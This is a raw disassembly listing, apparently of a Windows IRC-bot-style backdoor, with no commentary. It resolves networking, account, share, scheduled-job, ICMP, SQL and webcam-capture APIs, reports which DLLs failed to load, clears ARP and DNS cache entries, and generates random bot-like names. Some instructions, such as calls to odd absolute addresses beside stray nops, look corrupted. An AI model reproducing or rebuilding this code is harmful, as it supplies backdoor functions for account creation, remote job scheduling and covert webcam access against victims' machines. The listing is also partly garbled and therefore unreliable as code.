		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2680835h
		mov	dword_4CB058, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2680835h
		nop
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2680835h
		mov	dword_4CB068, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2680835h
		mov	dword_4CB070, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2680835h
		mov	dword_4CB078, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2680835h
		nop
		mov	dword_4CB080, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2680835h
		mov	dword_4CB088, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2680835h
		mov	dword_4CB090, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2680835h
		mov	dword_4CB098, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2680835h
		mov	dword_4CB0A0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26907AFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 85h, 5Ah
; ---------------------------------------------------------------------------
		sub	[edx], al
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B

loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55

loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

